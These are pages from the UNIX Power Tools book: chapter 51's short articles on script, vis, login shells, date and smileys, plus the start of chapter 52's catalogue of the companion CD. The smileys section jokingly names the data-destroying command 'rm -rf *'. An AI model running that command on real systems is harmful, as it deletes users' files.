Miscellaneous Useful Programs and Curiosities 		Next: 51.6 Cleaning script Files

51.5 Copy What You Do with script

Are you typing a complicated set of commands that you need to show someone else or keep "on file" for documentation? Are you debugging a program that goes wrong somewhere - but the error message flashes by so fast that you can't see it? Do you want to show a "pre-recorded" demonstration of an interactive program? The script program can help with all of these problems.

NOTE: Versions of script on UNIX systems without ptys (41.8) aren't as flexible as the version I'm explaining here. For instance, those versions won't let you use job control (12.1) during the script.

To copy everything you do into a file, just type:

% script
Script started, file is typescript
%

Now you can type any UNIX command that you'd use at a shell prompt. Everything you do is copied into a file named typescript in the current directory. (To use a different filename, type its pathname (1.21) on the command line, like script scriptfile.) When you're done, type CTRL-d or exit (38.4) at a shell prompt.

One thing that surprises people is that everything will be copied into the script file. That includes escape sequences (5.8) that programs send to your terminal. This is both good and bad.

The good part is that you can "play back" whatever happened by catting (25.2) the script to your screen. When things get boring, you can run an interactive program like vi inside the script - then quit the script and play it back with cat typescript. The cursor will fly across the screen and your file will be re-edited before your eyes. (This is easier to see if the terminal is set to a slow data rate.)

The bad part is that errors you correct and other terminal-control sequences will be in the file, too. If you edit or print the script file, it may be full of "junk" like ^M (carriage return) and ^H (backspace) characters. (A command like cat -v or od -c (25.7) will show you these characters.) If the file has just a few of these characters, you can clean it up by hand with your text editor's global substitution commands. You can also automate your "script cleaning" with techniques like the ones in articles 35.11, 43.18, and 51.6.

- JP

Previous: 51.4 Who's On? | UNIX Power Tools | Next: 51.6 Cleaning script Files
51.4 Who's On? | Book Index | 51.6 Cleaning script Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.6 Cleaning script Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.5 Copy What You Do with script Chapter 51
Miscellaneous Useful Programs and Curiosities 		Next: 51.7 When You Get Impatient

51.6 Cleaning script Files

As article 51.5 explains, the files made by the script program can have stray control characters in them. The shell script called script.tidy can clean them up. Dan Bernstein wrote it and posted it to Usenet; I made a few changes. It reads from files or standard input; it writes to standard output.

script.tidy uses the sed (34.24) substitute command to remove CTRL-m (RETURN) characters from the ends of lines. It uses the sed test command (34.20) to repeat a series of commands that delete a character followed by CTRL-h (BACKSPACE). If you use DELETE as your erase character (5.9), change the script to eat DELETE instead of BACKSPACE. script.tidy uses a trick (45.35) with echo and tr to store the control characters in shell variables. Because the sed script has doublequotes (8.14) around it, the shell variables are substituted in the right places before the shell starts sed.

eval

exec

#!/bin/sh
# Public domain.

# Put CTRL-M in $m and CTRL-H in $b.
# Change \010 to \177 if you use DEL for erasing.
eval `echo m=M b=H | tr 'MH' '\015\010'`

exec sed "s/$m\$//
:x
s/[^$b]$b//
t x" $*

You can also hack the sed script in script.tidy to delete some of your terminal's escape sequences (5.8); article 41.11 explains how to find these sequences. (A really automated script.tidy would read your termcap or terminfo entry and look for all those escape sequences in the script file.)

- JP

Previous: 51.5 Copy What You Do with script | UNIX Power Tools | Next: 51.7 When You Get Impatient
51.5 Copy What You Do with script | Book Index | 51.7 When You Get Impatient
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.7 When You Get Impatient

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.6 Cleaning script Files Chapter 51
Miscellaneous Useful Programs and Curiosities 		Next: 51.8 Type Bang Splat. Don't Forget the Rabbit Ears

51.7 When You Get Impatient

vis
Sometimes you find yourself repeating the same command over and over again - for example, ps (38.5) to monitor the progress of your background processes, or lpq (43.2) to know when your printout is finished. Instead of typing the same command repeatedly, or even using C shell history (11.1) to repeat it, use the vis command. For example:

% vis ps

The vis command takes over your screen and shows the output of the initial ps command. Every 15 seconds, the command is executed again and your screen is updated with the new information. If this delay is too long for you, you can get vis to use a shorter delay using the -d option:

% vis -d 2 ps

The information will now be updated every 2 seconds. Your screen is cleared and you are shown the output of ps. On the top line, vis tells you the command being run, how long your delay is (if not the default), and how many times it has been executed. The Exec: line is incremented every time the command is repeated.

Command:  ps                      Delay:  2            Exec:  1

  PID TT STAT  TIME COMMAND
 2971 p1 S     0:06 -sh (csh)
 6139 p1 S     0:00 vis -d 2 ps
 6145 p1 R     0:00 ps
 3401 q0 IW    0:13 -sh (csh)
 5954 q0 S     0:01 vi ch01
14019 q5 IW    0:02 -sh (csh)
29380 r7 IW    0:00 -bin/csh (csh)
29401 rd IW    0:00 -bin/csh (csh)

vis provides a few other command-line options. The -s option is particularly neat - using -s, any lines that have changed since the last iteration are printed in standout mode.

Note that variations of this command have floated around in the public domain under several different names, such as display, rep, and watch. We found vis to be the most useful.

- LM

Previous: 51.6 Cleaning script Files | UNIX Power Tools | Next: 51.8 Type Bang Splat. Don't Forget the Rabbit Ears
51.6 Cleaning script Files | Book Index | 51.8 Type Bang Splat. Don't Forget the Rabbit Ears
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.8 Type Bang Splat. Don't Forget the Rabbit Ears

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.7 When You Get Impatient Chapter 51
Miscellaneous Useful Programs and Curiosities 		Next: 51.9 Making a "Login" Shell

51.8 Type Bang Splat. Don't Forget the Rabbit Ears

You don't need to be smart and rich and powerful for people to think that you are. Just dress that way. The same goes for UNIX. If you talk like an expert, people will think that you are one. UNIX gurus have their own secret code for the special characters they're always typing. Because knowing how to speak correctly is a real Power Tool :-), here's a brief introduction to "hackerese":
What | Traditional Term | Enlightened Terms
! | Exclamation Point | Bang, Shriek, Ball-Bat
" | Quotation Mark | Double Quote, Rabbit Ears
* | Asterisk | Splat, Star
' | Apostrophe | Single Quote, Tick
. | Period | Dot, Point
If this isn't enough to disgust - errr, satisfy your curiosity, get a copy of The Hacker's Dictionary by Eric S. Raymond. It's based on the Jargon File, an online collection of hackerspeak, which is on the World Wide Web at (as of this printing) http://www.ccil.org/jargon/jargon.html. The Jargon File started as a list of terms used by early Artificial Intelligence hackers at MIT, Stanford University, and CMU. It has since grown to include many terms from the Internet and UNIX communities.

- JP

Previous: 51.7 When You Get Impatient | UNIX Power Tools | Next: 51.9 Making a "Login" Shell
51.7 When You Get Impatient | Book Index | 51.9 Making a "Login" Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.9 Making a "Login" Shell

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.8 Type Bang Splat. Don't Forget the Rabbit Ears Chapter 51
Miscellaneous Useful Programs and Curiosities 		Next: 51.10 The date Command

51.9 Making a "Login" Shell

When you log in to most UNIX systems, your shell is a login shell. When a shell is a login shell, it acts differently. For example, the shell reads a special setup file (2.2) like .profile or .login. UNIX "knows" how to tell the shells to be login shells. If you type the shell's name (like sh or /bin/csh) at a prompt, that will not start a login shell.

Sometimes, when you're testing an account or using a window system, you want to start a login shell without logging in. UNIX shells act like login shells when they are executed with a name that starts with a dash (-). [1] The easiest way to do this, which wastes a lot of disk space (and may not work on your system anyway if the shells are read-protected), is to make your own copy of the shell and name it starting with a dash:

[1] bash also has a command-line option, -login, that makes it act like a login shell.

bin
./-
$ cd $HOME/bin
$ cp /bin/csh ./-csh

It's better to make a symbolic link (18.4) to the shell:

$ cd $HOME/bin
$ ln -s /bin/csh ./-csh

(Or, if your own bin subdirectory is on the same filesystem as /bin, you can use a hard link (18.4).) A third way is to write a little C program (52.8) that runs the actual shell but tells the shell that its name starts with a dash. This is how the UNIX login process does it:

main()
{
    execl("/bin/csh", "-csh", 0);
}

No matter which way you choose, you can execute your new shell by typing its name:

$ -csh
   ...normal C shell login process...
% ...run whatever commands you want...
% logout
$ ...back to original shell

Article 2.16 shows how this can be used to change your normal login shell.

- JP

Previous: 51.8 Type Bang Splat. Don't Forget the Rabbit Ears | UNIX Power Tools | Next: 51.10 The date Command
51.8 Type Bang Splat. Don't Forget the Rabbit Ears | Book Index | 51.10 The date Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.10 The date Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.9 Making a "Login" Shell Chapter 51
Miscellaneous Useful Programs and Curiosities 		Next: 51.11 Making an Arbitrary-Size File for Testing

51.10 The date Command

All UNIX systems come with a program called date. It shows you the time from the system clock (51.2). (So, the time is only as accurate as your system's clock.) For example:

% date
Fri Dec 13 08:06:39 PST 1996

date
If you need parts of that date, you can split the line into pieces. There are examples in articles 16.18, 21.3, and 2.5. Most newer versions of date (including the one on the Power Tools disc) will also let you set the format of the date. To do that, type a single argument that starts with a plus (+) and has format specification characters in it. Check your online manual page for a list of format specification characters. The argument has to be all one word, so you'll usually need to put quotes (8.14) around it. Here's a simple example:

% date +'Today is %d %h 19%y.'
Today is 13 Dec 1996.

You'll usually use this in a shell script or alias (10.2). Because date can mix any other text with the dates it outputs, you can do some surprising and useful things. Greg Ubben uses it to construct arithmetic expressions for performing calculations on dates. For example, since date +%U isn't available on all systems, the following computes the week number of the year (Sunday as the first day) and makes it available in the Bourne shell as $weekno:

expr `...`
weekno=`expr \`date +"%j / 7 + ( ( %w + 6 ) %% 7 < %j %% 7 )"\``

For some other "real-life" examples, see articles 16.16, 18.3, and 21.14.

- JP

Previous: 51.9 Making a "Login" Shell | UNIX Power Tools | Next: 51.11 Making an Arbitrary-Size File for Testing
51.9 Making a "Login" Shell | Book Index | 51.11 Making an Arbitrary-Size File for Testing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.11 Making an Arbitrary-Size File for Testing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.10 The date Command Chapter 51
Miscellaneous Useful Programs and Curiosities 		Next: 51.12 You Don't Have Enough Smileys?

51.11 Making an Arbitrary-Size File for Testing

The yes command (23.4) outputs text over and over. If you need a file of some size for testing, make it with yes and head (25.20). For example, to make a file 100k (102,400) characters long, with 12,800 8-character lines (7 digits and a newline), type:

% yes 1234567 | head -12800 > 100k-file

NOTE: On some UNIX systems, that command may "hang" and need to be killed with CTRL-c - because head keeps reading input from the pipe. If it hangs on your system, replace head -12800 with sed 12800q.

- JIK, JP

Previous: 51.10 The date Command | UNIX Power Tools | Next: 51.12 You Don't Have Enough Smileys?
51.10 The date Command | Book Index | 51.12 You Don't Have Enough Smileys?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.12 You Don't Have Enough Smileys?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.11 Making an Arbitrary-Size File for Testing Chapter 51
Miscellaneous Useful Programs and Curiosities 		Next: 52. What's on the Disc

51.12 You Don't Have Enough Smileys?

Unless you've been living in a cave with no Internet access, you've seen those "smiley faces" or "emoticons" in electronic mail (1.33) (and in this book!). In case you haven't seen electronic smileys, they're like those awful yellow smiley face buttons that were so common in the early 1970s, but with a new twist. The twist is literal: they're printed sideways, like this: :-)

(At first you have to turn your head sideways to see the face, but eventually you get used to reading them. Then you have trouble reading them only when you turn your head!) The standard smiley printed above is used to mean "don't take this too seriously." Then there's the frowning face used to indicate that something makes you sad: :-(

How about this one? 8-O

That translates as "Omigod!" (done after rm -rf *).

smiley
Smileys range from the practical to the absurd. David Sanderson, whom the Wall Street Journal called "the Noah Webster of smileys," has collected hundreds of symbols from as many contributors, and put them all into a program called smiley.

Call smiley with no arguments, and it will give you a random smiley symbol, plus interpretation:

% smiley
7:^]    Ronald Reagan

Type smiley with a smiley face as an argument, and you'll get possible interpretations (and an attribution for the explanation, if available). Because most smileys have bizarre characters that need to be protected from the shell, it's a good idea to quote (8.14, 8.15) them:

% smiley ';-)'
;-)     "If you touch my daughter again, they won't be blanks" [RICHH]
        beaten up
        could be pirate smiling face??
        crying with happiness
        getting fresh
        sardonic incredulity
        smiling face gets his lights punched out
        winking

Type smiley -l to see a list of all known smileys. Article 7.13 shows how to make the bash shell put a different smiley into every shell prompt. And if you still can't get enough smileys online, see the little book Smileys, by David W. Sanderson, from O'Reilly & Associates.

- TOR, JP

Previous: 51.11 Making an Arbitrary-Size File for Testing | UNIX Power Tools | Next: 52. What's on the Disc
51.11 Making an Arbitrary-Size File for Testing | Book Index | 52. What's on the Disc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 52] What's on the Disc

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.12 You Don't Have Enough Smileys? Chapter 52 Next: 52.2 Where Does Free Software End and UNIX Begin?

52. What's on the Disc

Contents:
Introduction
Where Does Free Software End and UNIX Begin?
Shrink-Wrapped Software for UNIX
Quick Descriptions of What's on the Disc
Using the Power Tools CD-ROM
Don't Have a CD-ROM Drive?
Other Ways to Get the Software
Building Programs from Source Code
Software Support from RTR

52.1 Introduction

This book comes with a companion CD-ROM that contains source code and binaries for the programs described in the book.

There are two groups of files on the CD-ROM:

  • Freely available programs that we liked and wrote about in the book. Most of these programs are written in C and are distributed in both source and binary form. We compiled the binaries for each of the platforms listed in article 52.3, and fully tested those for Red Hat Linux and Digital UNIX.

  • Scripts that we wrote or adapted ourselves, and wanted to share with our readers.

In selecting freely available software to put on the disc, we've tried to emphasize quality over quantity. Too many free software archives load you up with anything and everything they can find, without evaluating whether or not it's worthwhile. You're faced with the job of wading through everything to figure out whether it's worth using or not.

like this
Every program or script on the CD-ROM is at least mentioned somewhere in this book. Near the first or most important of those mentions, it's got a disc icon in the margin, with the name of the program underneath. Our idea was that as you read about a program you like, you could simply install it (as described in article 52.5) and have it added to your private stock of power tools. (You can also add them all at once, and just use them as you read about them!) This chapter is designed to give you some background information about the software:

  • A quick summary of what's on the disc (article 52.4).

  • What versions of UNIX the programs are already compiled for (article 52.3).

  • A detailed description of the installation procedure (article 52.5).

  • How to get a CD-ROM drive if you don't already have one (article 52.6).

  • How to get the software from the online archive (files marked with a * in article 52.4, instructions in article 52.7) and on alternate media.

  • How to build the software from the source code if you don't have one of the supported platforms (article 52.8).

  • How to get software support or porting help (article 52.9).

- TOR

Previous: 51.12 You Don't Have Enough Smileys? | UNIX Power Tools | Next: 52.2 Where Does Free Software End and UNIX Begin?
51.12 You Don't Have Enough Smileys? | Book Index | 52.2 Where Does Free Software End and UNIX Begin?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 52] 52.2 Where Does Free Software End and UNIX Begin?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 52.1 Introduction Chapter 52
What's on the Disc 		Next: 52.3 Shrink-Wrapped Software for UNIX

52.2 Where Does Free Software End and UNIX Begin?

You may find that some of the programs on the disc are already available at your site. After all, UNIX itself is already a collection of free software (1.1). For example, here are just a few of the now-standard programs that were once contributed to UNIX (most through the University of California at Berkeley's BSD version):

  • the C shell (1.8)

  • vi (30.2)

  • termcap (5.2)

Here are some other programs that are nearly universally available (and official parts of some versions of UNIX, but not all):

  • RCS (20.14)

  • gzip (24.7)

  • patch (33.9)

  • Emacs (32.1)

  • cut (35.14) and paste (35.18)

We wanted to make sure that you had all the great programs in the second group, so we've included them just to be sure.

- TOR

Previous: 52.1 Introduction | UNIX Power Tools | Next: 52.3 Shrink-Wrapped Software for UNIX
52.1 Introduction | Book Index | 52.3 Shrink-Wrapped Software for UNIX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 52] 52.3 Shrink-Wrapped Software for UNIX

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 52.2 Where Does Free Software End and UNIX Begin? Chapter 52
What's on the Disc 		Next: 52.4 Quick Descriptions of What's on the Disc

52.3 Shrink-Wrapped Software for UNIX

One of the great advantages of UNIX has always been its portability. It runs on more hardware architectures than any other operating system - in fact, there is hardly a single architecture in common use that does not support some version of UNIX.

Unfortunately, that strength is also UNIX's greatest weakness. Because UNIX runs on so many competing hardware platforms, it isn't possible to go into a software store, buy a UNIX application, take it home, and load it onto your computer. The kind of "shrink-wrapped" software you find for MS Windows or Macintosh systems is hard to come by.

Free software for UNIX is typically distributed in source code form, which limits its use to programmers who know how to build the executable programs from source. Application software is sold on a platform-by-platform basis. You need to tell the software vendor what kind of machine you have, and they have to provide you with a tape loaded with the software compiled for that class of machine.

The vast storage capacity of CD-ROM changes all that. Because there are over 600 megabytes of storage on a single disc, we've been able to offer not just source code for each of the programs on the disc, but also pre-compiled binaries for seven of the most common UNIX platforms:

  • Red Hat Linux 4.1

  • Sun4 Solaris 2.5

  • Sun4 SunOS 4.1.4

  • Digital Equipment Corp. 3.2

  • IBM RS/6000 IAX 3.2.5

  • HP 700 HP-UX 9.01

  • SCO UNIX 3.2.4

If you have one of these platforms, all you need to do is to mount the CD-ROM on your system, and run the installation program. The installation program is smart enough to figure out your platform and load the right version. See article 52.5right for details.

If you don't have one of the supported platforms, it should still be possible to build the software from the source code, using the build scripts that we supply. See article 52.8 for details.

- TOR

Previous: 52.2 Where Does Free Software End and UNIX Begin? | UNIX Power Tools | Next: 52.4 Quick Descriptions of What's on the Disc
52.2 Where Does Free Software End and UNIX Begin? | Book Index | 52.4 Quick Descriptions of What's on the Disc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 52] 52.4 Quick Descriptions of What's on the Disc

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 52.3 Shrink-Wrapped Software for UNIX Chapter 52
What's on the Disc 		Next: 52.5 Using the Power Tools CD-ROM

52.4 Quick Descriptions of What's on the Disc

All the packages included on the CD-ROM are discussed somewhere in the book, complete with an icon in the margin to let you know it's there. But here's a quick listing of what each program does and where the book talks about it.

If you don't have the disc or just want another way to get them, many of the programs and other files are available on the Internet or via email. There's a * next to the names of those files in the listings that follow. Article 52.7 tells how to get them online.

Many of the programs listed here are shell scripts. All shell scripts are theoretically portable from one platform to another; however, they might have dependencies on programs that either aren't installed on your system, or behave somewhat differently from what the programmer expected. So beware that you might have to tweak the shell scripts a little to make them work correctly on your system.

Also beware that some scripts written in awk, sed, or perl use #! syntax on the first line of the script, to tell your system what program to run. Not all versions of UNIX support this feature. If yours doesn't, you'll have to convert the script to a shell script. See articles 45.3 and 44.4 for more information.

.emacs_ml *

The .emacs_ml file contains a listing of Mike's favorite Emacs commands. If you like them, put them in your own $HOME/.emacs file. Article 32.7.

.enter.csh *

.enter.csh is an example of a C shell script you might want to run when your C shell enters a particular directory. It is meant to be used with an alias (which can be found in the csh_init file) and with a .exit.csh script. A sample .exit.csh script is also included on the disc. Article 14.14.

.enter.sh *

.enter.sh is an example of a Bourne shell script you might want to run when your Bourne-type shell (including ksh and bash) enters a particular directory. It is meant to be used with a shell function (which can be found in the sh_init file) and with a .exit.sh script. A sample .exit.sh script is also included on the disc. Article 14.14.

.exit.csh *

.exit.csh is an example of a shell script you might want to run when your C shell leaves a particular directory. It is meant to be used with an alias (which can be found in the csh_init file) and with a .enter.csh script. A sample .enter.csh script is also included on the disc. Article 14.14.

.exit.sh *

.exit.sh is an example of a shell script you might want to run when your Bourne-type shell (including ksh and bash) leaves a particular directory. It is meant to be used with a shell function (which can be found in the sh_init file) and with a .enter.sh script. A sample .enter.sh script is also included on the disc. Article 14.14.

80cols *

The 80cols file simply contains 80 digits on a single line. You can use this file to determine whether your screen is 80 columns wide, with:

cat 80cols

Article 42.6.

! *

The ! command (pronounced bang) creates temporary files to be used with programs that require filenames in their command lines. For example, to diff two files after sorting them, you might do:

diff `! sort file1` `! sort file2`

Article 9.18.

addup *

addup is a shell script that uses awk to add up the values in a specified column of its input. Article 49.7.

age_files *

The age_files shell script reports the size of the files in a given directory by age. Article 16.25.

ascii *

ascii is a shell script that searches a listing of the ASCII character set and returns the ASCII decimal value of a specified character. Article 51.3.

awf *

awf (Amazingly Workable Formatter) is an nroff -man or nroff -ms clone written entirely in (old) awk. It is slow and has many restrictions, but does a decent job on most manual pages and simple -ms documents. It is also a text formatter that is simple enough to be tinkered with, for people who want to experiment. Article 43.17.

GNU bash, Version 1.14.6

bash is the GNU Project's Bourne Again SHell, an interactive shell with Bourne shell syntax. It also includes interactive command-line editing, job control on architectures that support it, csh-like history features and brace expansion, and a slew of other stuff. Article 8.2.

behead *

The behead shell script removes all lines in a file up to the first blank line. This effectively removes the header from files saved from mail or news (1.33). Article 35.5.

bitmaps *

The Poskanzer Bitmap Collection is a collection of monochrome bitmaps, for use as background patterns, clip-art, etc. They are stored in X11 (1.31) bitmap format, and most of them are compressed. If you need them in some other format, use the netpbm package, which is also included on the Power Tools disc. Article 43.25.

bkedit *

bkedit is a shell script for making a backup copy of a file before starting the vi editor on it. Article 44.11.

bsdtar

bsdtar is very similar to tar, but can remap long filenames to unique 14-character filenames on systems that have a 14-character filename limit. bsdtar can only read archives, it cannot create archives. Article 52.8.

bsplit

bsplit enables you to split binary files into manageable pieces. Users who are familiar with split will have no problem with bsplit, as the usage of bsplit is exactly like the split program. Article 35.9.

cal_today *

cal_today is a simple shell script that runs cal and marks today's date. Article 48.7.

calen

calen generates a calendar for a whole year or for a certain range of months within a year in 132 columns. Article 48.8.

catsaway *

The catsaway shell script is included here as an example of using a loop to repeat a command until it fails. Article 44.10.

center *

center is an awk script that centers each line of a file. Article 35.8.

cgrep *

cgrep is a context-grep Perl script for showing the given string with several lines of surrounding text. Article 27.13.

cgrep.sed *

cgrep.sed is a context-grep sed script for showing the given string with several lines of surrounding text. It can also match a pattern that's spread across several lines. Articles 27.11, 34.17.

checksed *

The checksed shell script runs the sed commands in a file called sedscr on the specified files, showing the edits with diff and a pager program. Article 34.3.

chmod_edit *

The chmod_edit shell script adds write permission to a file, places you in your favorite editor, and then removes write permission again. Article 22.9.

chunksort *

The chunksort script sorts multiline records that are separated by blank lines. Article 36.7.

cleanup *

cleanup is an example of a shell script to be run by cron. By combining multiple find conditions, the find command is run only once instead of multiple times. Article 23.22.

cleanup.sed *

cleanup.sed is a sed script to be run on troff input files. It converts double quotes to "curly" quotes, two dashes to em-dashes, and places a no-space character before constant-width font changes. It should be called with sed -f cleanup.sed. Article 43.21.

Clear *

The Clear shell script can be used to execute VT100 escape sequences. It is also linked to the names NOG (to cancel an alternate character set); Graphics (to enable graphics mode); C132 (to enable 132-column mode); C80 (to enable 80-column mode); Revvid (to enable reverse video); Normal (to re-enable normal video); ToStatus (to write a message to the terminal status line); and ClrStatus (to clear the status line). Article 41.9.

cls *

cls is a compressed directory lister that can list directories in nice columns and indicate "long" names that have been truncated. It is also linked to the names clf, cls2, and clf2. Article 16.6.

cols *

The cols shell script displays output in columns. It is also linked to the c2, c3, c4, c5, c6, c7, and c8 commands, to force it to display the respective number of columns. Article 35.16.

count.it *

count.it reports the difference in word length between two files. Article 29.6.

count_types *

count_types is a shell script that reports the number of files of each type, as reported by the file command. Article 16.24.

cpmod

cpmod allows you to copy modes, ownerships, and times from one file to others, without affecting the data. Article 22.16.

crontab *

The crontab shell script provides interactive editing of your crontab entries. This script is meant for systems that do not already provide interactive crontab file editing. Article 40.15.

crush *

crush is a sed script that removes blank lines from text and sends the result to standard output. Article 25.11.

csh_init *

The csh_init file is a collection of C shell commands and alias definitions that are shown throughout the book. Most of these are also available as Bourne-type shell functions in the sh_init file.

In its distribution form, each set of commands is commented out and needs to be explicitly uncommented before you can use them; this is because many of the definitions override or conflict with one another. You can copy or source (44.23) the file into your shell setup file (2.2), and then enable the definitions that you want. Articles 2.15, 7.5, 7.6, 7.8, 7.11, 10.7, 10.8, 14.9, 14.14, 15.5, 16.26, 17.23, 21.14, 22.2, 22.9, 25.17, 29.8, 30.20, 43.8, 47.5, and 50.8.

csh_logout *

The csh_logout file contains a set of commands for removing temporary files. C shell users can input these commands into their ~/.logout file. Article 21.3.

csplit

The csplit program splits a file according to context. csplit is part of the textutils package. Article 35.10.

cut+paste

cut and paste are public domain versions of AT&T's cut and paste commands. They are part of the GNU textutils package. Articles 35.14 and 35.18.

cvtbase

cvtbase is a program for converting from one base to another. Supported bases are decimal, hexadecimal, octal, and binary. Article 49.5.

del *

del is a shell script that prompts you for the removal of the specified files. Unlike rm -i, del prompts you only once for all files when there are more than three to remove. Article 23.6.

delete

The delete program is a replacement for rm that allows files to be recovered later on. Instead of actually deleting files, delete marks them for deletion by adding a .# prefix. To recover the file, use undelete. To delete the files for real, use expunge or purge. To list all the files in the current directory that are marked for deletion, use the lsdel command. Article 23.9.

GNU diff, diff3, sdiff, and cmp Utilities

The GNU versions of diff, diff3, sdiff, and cmp provide all the features of BSD's versions, but with some additional features. Articles 28.1, 28.2, 28.4, and 28.11.

dir_path *

dir_path is a shell script that shows all directories with the same name. Article 16.21.

dirtop *

The dirtop shell script uses VT100 escape sequences to make an ls directory listing that stays at the top of the window while you work. Article 21.10.

doublespace *

doublespace is a sed script that double-spaces text and sends the result to standard output. Article 25.12.

ediff

ediff is a program that translates diff (28.1) output into English. Article 28.8.

elookfor *

The elookfor script is similar to the lookfor script, but faster. It finds all files in the given directory tree that contain the given string(s), using egrep. Article 17.21.

GNU emacs, Version 19.3.1

GNU emacs is the GNU incarnation of the advanced, self-documenting, customizable, extensible real-time display editor Emacs. Chapter 32, GNU Emacs.

GNU expand

GNU expand converts TAB characters into the corresponding number of spaces. expand is part of the textutils package. Article 41.4.

Expect, Version 5.22

Expect is a program to control interactive applications, such as telnet and passwd, that prompt you to type something at the prompt. You can write simple Expect scripts to automate these interactions. Then the Expect script can run the "interactive" program non-interactively. Expect is part of the Tcl/tk package. Article 9.26.

exrc *

The exrc file is a collection of vi and ex commands that are shown throughout the book. In its distribution form, each set of commands is commented out and needs to be explicitly uncommented before you can use them; this is because many of the definitions override or conflict with one another. You can copy this file into your .exrc file (4.9), and then enable the definitions that you want. Articles 30.23, 30.32, 31.5, 31.9, 31.12, 31.13, and 31.16.

fgrep, Version 1.1

Although maligned for its slowness, fgrep has several features that make it worth installing. This is one of the fastest fgreps that we've been able to find. Article 27.6.

GNU File Management Utilities (fileutils), Version 3.13

The GNU file utilities have significant advantages over their standard UNIX counterparts, such as greater speed, additional options, and fewer arbitrary limits. Programs included are: chmod, chgrp, chown, cp, dd, df, du, install, ln, ls, mkdir, mkfifo, mknod, mv, rm, rmdir, and touch. Most of these programs are covered throughout the book.

GNU find, Version 4.1

GNU find has several enhancements over the standard find command found on most systems. Among other things, it has the option to measure times from the beginning of today rather than from 24 hours ago, and it has user-settable maximum search depth. Articles 17.1 and 17.23.

find is also distributed with the GNU xargs program, which is used to execute a command with many arguments. Its -0 option works with GNU find to avoid problems with the standard xargs. Articles 9.21 and 9.22.

Finally, the package includes the GNU locate program, which lists files in a database that match a pattern (similar to the "fast find" on many systems). Article 17.18.

findcmd *

findcmd searches your path and prints any program's filename that contains the given substring. Article 16.10.

findtext *

The findtext shell script prints the names of specified files that are text files (i.e., human-readable). Article 16.26.

flip *

flip is a Perl script that reverses the text in a given file line-by-line. That is, the first line in the file switches position with the last, the second line in the file switches with the next-to-last, and so on. Article 25.19.

GNU fmt

fmt neatens text into paragraphs that are (by default) no longer than 72 characters. This GNU version has several other formatting features. Article 35.2.

fmt.sh *

fmt.sh is a shell script that uses sed and nroff to simulate the behavior of the fmt command. It is meant for systems that are not distributed with fmt already installed. Article 35.3.

formprog *

formprog is a shell script for filling in forms. It looks for a template file (argument 1) and prompts the user for information, placing the completed form into an output file (argument 2). Article 45.22.

ftpfile *

ftpfile is a shell script for anonymously ftp'ing a file. It is included on the disc as an example of a here document. Article 8.18.

GNU awk (gawk), Version 3.0.3

gawk is a version of awk from the Free Software Foundation. It has many more features than the original awk. Article 33.12.

getmac *

getmac is a shell script for printing a troff macro definition in the specified macro package. Article 43.20.

getopt

getopt is a public-domain implementation of the System V getopt program. Not to be confused with the library routine, this program helps scripts parse their options/flags/arguments. Article 44.18.

glimpse and agrep

glimpse is an indexing and query system that lets you search huge amounts of text (for example, all of your files) very quickly. Part of the glimpse package is agrep, a standalone utility for fast text searching. agrep is similar to the other members of the grep family, but it is much more general (and usually faster). The enhancements over other greps include the ability to search for approximate patterns. Article 27.8.

GNU gnroff, Version 1.10

gnroff is the GNU version of the nroff text formatter. gnroff is part of the groff package. Article 43.17.

grabchars

grabchars gets one or more keystrokes from the user without requiring them to press RETURN. It was written to make all types of shell scripts more interactive. Article 45.32.

GNU grep, Version 2.0

GNU egrep (also linked to grep) is about twice as fast as stock UNIX egrep. Article 27.9.

GNU groff, Version 1.10

groff is the GNU version of the troff text formatter. Included are implementations of troff, pic, eqn, tbl, refer, the man macros and the ms macros, and drivers for PostScript, TeX dvi format, and typewriter-like devices. Also included is a modified version of the Berkeley me macros, and an enhanced version of the X11 (1.31) xditview. Article 43.16.

GNU gzip, Version 1.2.4

GNU gzip allows compression of files. In addition to the gzip program itself, the package includes gunzip and gzcat. Article 24.7.

head *

